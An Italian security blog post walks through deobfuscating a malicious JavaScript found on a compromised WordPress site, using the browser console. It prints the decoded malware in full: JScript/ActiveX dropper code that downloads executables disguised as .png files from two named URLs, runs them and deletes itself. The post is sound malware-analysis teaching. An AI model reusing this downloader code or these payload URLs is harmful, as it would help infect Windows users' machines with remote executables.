Decifrare semplici Javascript malevoli

Compromettere un sito, può essere una cosa semplice. Compromettere un sito basato su WordPress può essere una cosa molto semplice.

Photo by Christiaan Colen

Compromettere un sito, può essere una cosa semplice. Compromettere un sito basato su WordPress può essere una cosa molto semplice.

Semplicemente chi usa WordPress vuole qualcosa di semplice e veloce per essere online il prima possibile. Spesso per questo genere di progetti, il budget a disposizione è limitato e, di conseguenza, temi come hardening o penetration test non trovano spazio nelle voci di bilancio.

Bucare un sito in WordPress, per distribuire codice malevolo è una pratica abbastanza comune. E’ quello che ha notato un amico, ieri durante un test.

Ha trovato questo codice JavaScript, all’interno di un sito. Dedicato ad altre attività sul sito, ha chiesto una mano per decifrare al volo quello che, a prima vista, era un codice JavaScript un po’ “offuscato”.

In questo caso la struttura del codice era abbastanza chiara. Nella prima variabile, links, dovevano esserci delle url, probabilmente afferenti ad un secondo stage di questo malware. Nella seconda variabile, code, doveva esserci il codice vero e proprio del malware ed in coda la coppia formata dalla routine per mettere in chiaro links e code ed il codice per innescare tutto il processo.

function d( c )
{
    c = c.split( '' );
    for( var i = 0; i < c.length; i += 3 ) {
        c[ i ] = '';
    }
    return c.join( '' );
}

Come lo possiamo mettere in chiaro per una successiva analisi? Semplice. Ci serve un browser e la console con gli strumenti di sviluppo.

Il nostro tool di deobfuscation

Una volta qui, la prima cosa che dobbiamo fare è dichiarare la routine di decifratura. La funzione d() in questo caso.

Dichiaro d()

Incolliamo poi, all’interno della console, le due variabili links e code che ci interessa mettere in chiaro. Attenzione, poiché stiamo parlando con l’interprete JavaScript del browser, dobbiamo incollare l’intera dichiarazione della variabile, in modo che sia sintatticamente corretta.

Dichiaro le due variabili

A questo punto, il gioco è fatto. Basta invocare la nostra routine di decifratura, d(), sulle variabili links e code ed abbiamo il codice dle malwar in chiaro.

Decifro le stringhe

Voilà, decifrato

Questi i link contenenti il payload da scaricare sul browser della vittima:

"var links = ["http://www.stageportieri.it/wp/P330494.png","http://www.starcrossedgdr.altervista.org/pages/im/P0003939.png"];"

Questo il codice malevolo:

"var ws = new ActiveXObject( "WScript.Shell" );if( ws.Exec( "ping" ).StdOut.ReadAll().match( /ping/ ) ) {    var obj = new ActiveXObject( "MSXML2.XMLHTTP" );    var File = WScript.CreateObject( "Scripting.FileSystemObject" );    var temp = File.GetSpecialFolder( 2 );    function genFileName()    {        return "/" + Math.round( Math.random() * 999999999 ) + ".exe";    }    function run( filename )    {        var ws = new ActiveXObject( "WScript.Shell" );        ws.Run( filename, 1, 0 );    }    function saveFile( body, filename )    {        Stream.Open();        Stream.Type = 1;        Stream.Write( body );        Stream.Position = 0;        Stream.SaveToFile( filename, 2 );        Stream.Close();    }    function deleteFile( filename )    {        if( File.FileExists( filename ) ) {            File.DeleteFile( filename );        }    }    function suicide()    {        deleteFile( WScript.ScriptFullName )    }    var Stream = new ActiveXObject( "ADODB.Stream" );    for( var i = 0; i < links.length; i++ ) {        var filename = temp + genFileName();        obj.Open( "GET", links[ i ], false );        obj.Send();        if( obj.Status == 200 ) {            try {                saveFile( obj.ResponseBody, filename );                run( filename );                done = true;            }            catch( err ) {            }        }    }    suicide();}"

Analizzandolo, abbiamo un codice che vuole creare un oggetto ActiveX, quindi un codice pensato per colpire vittimeWindows con Internet Explorer. I due link, probabilmente piazzati lì dopo aver compromesso anche le macchine che li ospitano, non sono ovviamente immagini, ma sono due file eseguibili.

Il codice, cerca di scaricarli dalla rete e li lancia in esecuzione. Purtroppo nessuno dei due file era disponibile al momento della scrittura di questo post, quindi niente analisi del codice della fase 2.

Enjoy it!

comments powered by Disqus